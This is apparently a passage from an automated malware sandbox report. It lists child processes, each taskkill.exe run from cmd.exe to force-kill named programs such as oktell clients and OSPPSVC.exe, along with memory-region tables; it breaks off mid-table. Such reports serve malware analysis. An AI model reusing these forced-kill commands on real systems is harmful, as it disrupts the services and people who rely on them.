ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #28: taskkill.exe
+
Information Value
ID #28
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM oktell.ClientStarter4.exe /IM oktell.ClientStarter4.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:28, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:07
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0xfc
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 1F8
0x 50C
0x 3D0
0x 2FC
0x 63C
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00080000 0x00083fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000090000 0x00090000 0x000cffff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x000d0000 0x00136fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000000140000 0x00140000 0x00140fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000150000 0x00150000 0x00150fff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x00160000 0x0021ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000220000 0x00220000 0x00220fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000230000 0x00230000 0x00230fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000240000 0x00240000 0x0027ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000280000 0x00280000 0x00407fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000410000 0x00410000 0x0044ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000450000 0x00450000 0x004cffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000004d0000 0x004d0000 0x00650fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000006a0000 0x006a0000 0x0079ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000007a0000 0x007a0000 0x007dffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000007e0000 0x007e0000 0x008dffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000910000 0x00910000 0x0094ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000950000 0x00950000 0x0098ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000990000 0x00990000 0x0099ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000009d0000 0x009d0000 0x00a0ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000a40000 0x00a40000 0x00a7ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000ab0000 0x00ab0000 0x00aeffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000b30000 0x00b30000 0x00b6ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000b80000 0x00b80000 0x00bbffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x00bc0000 0x00e8efff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000000f50000 0x00f50000 0x00f8ffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x00ff0000 0x01005fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000001010000 0x01010000 0x0240ffff Pagefile Backed Memory Readable True False False
  • Region Actions
fastprox.dll 0x6a480000 0x6a515fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a520000 0x6a60afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdsapi.dll 0x6a7d0000 0x6a7e7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a7f0000 0x6a7fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a800000 0x6a828fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a830000 0x6a88bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a890000 0x6a899fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a8a0000 0x6a8d4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a8e0000 0x6a8eefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x6a8f0000 0x6a8f8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a900000 0x6a910fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x73e30000 0x73e3cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #29: taskkill.exe
+
Information Value
ID #29
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM oktell.HALMixerApp.exe /IM oktell.HALMixerApp.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:29, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:06
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x584
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 6B0
0x 774
0x 794
0x 4F8
0x 718
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00080000 0x00083fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000090000 0x00090000 0x00090fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000a0000 0x000a0000 0x000a0fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000b0000 0x000b0000 0x000effff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x000f0000 0x00156fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000160000 0x00160000 0x00160fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000170000 0x00170000 0x00170fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000001b0000 0x001b0000 0x001bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000001e0000 0x001e0000 0x0025ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000280000 0x00280000 0x002bffff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x002c0000 0x0037ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000003b0000 0x003b0000 0x004affff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000004b0000 0x004b0000 0x00637fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000640000 0x00640000 0x007c0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000007f0000 0x007f0000 0x0082ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000830000 0x00830000 0x0086ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000008f0000 0x008f0000 0x0092ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000960000 0x00960000 0x0099ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000a70000 0x00a70000 0x00aaffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000ab0000 0x00ab0000 0x00baffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000c00000 0x00c00000 0x00c3ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000c50000 0x00c50000 0x00c8ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000d00000 0x00d00000 0x00d3ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000d70000 0x00d70000 0x00daffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000dc0000 0x00dc0000 0x00dfffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x00e80000 0x00e95fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000ea0000 0x00ea0000 0x0229ffff Pagefile Backed Memory Readable True False False
  • Region Actions
sortdefault.nls 0x022a0000 0x0256efff Memory Mapped File Readable False False False
  • Region Actions
ntdsapi.dll 0x6a4c0000 0x6a4d7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
fastprox.dll 0x6a4e0000 0x6a575fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a580000 0x6a5a8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a5b0000 0x6a60bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a710000 0x6a71efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a720000 0x6a729fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a7b0000 0x6a89afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a8a0000 0x6a8aefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a8b0000 0x6a8c0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x6a8d0000 0x6a8dcfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a8e0000 0x6a914fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x73e30000 0x73e38fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #30: taskkill.exe
+
Information Value
ID #30
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:30, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:05
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0xa24
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A34
0x 6F4
0x 5B4
0x 4D8
0x 514
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00080000 0x00083fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000090000 0x00090000 0x00090fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000a0000 0x000a0000 0x000a0fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000b0000 0x000b0000 0x000effff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x000f0000 0x00156fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000160000 0x00160000 0x00160fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000170000 0x00170000 0x00170fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000001b0000 0x001b0000 0x001effff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000230000 0x00230000 0x0026ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000002a0000 0x002a0000 0x002dffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000320000 0x00320000 0x0039ffff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x003a0000 0x0045ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000460000 0x00460000 0x0049ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000004d0000 0x004d0000 0x005cffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000005d0000 0x005d0000 0x00757fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000770000 0x00770000 0x007affff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000007b0000 0x007b0000 0x007bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000007f0000 0x007f0000 0x0082ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000870000 0x00870000 0x008affff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x008c0000 0x008d5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x00000000008e0000 0x008e0000 0x00a60fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000a70000 0x00a70000 0x01e6ffff Pagefile Backed Memory Readable True False False
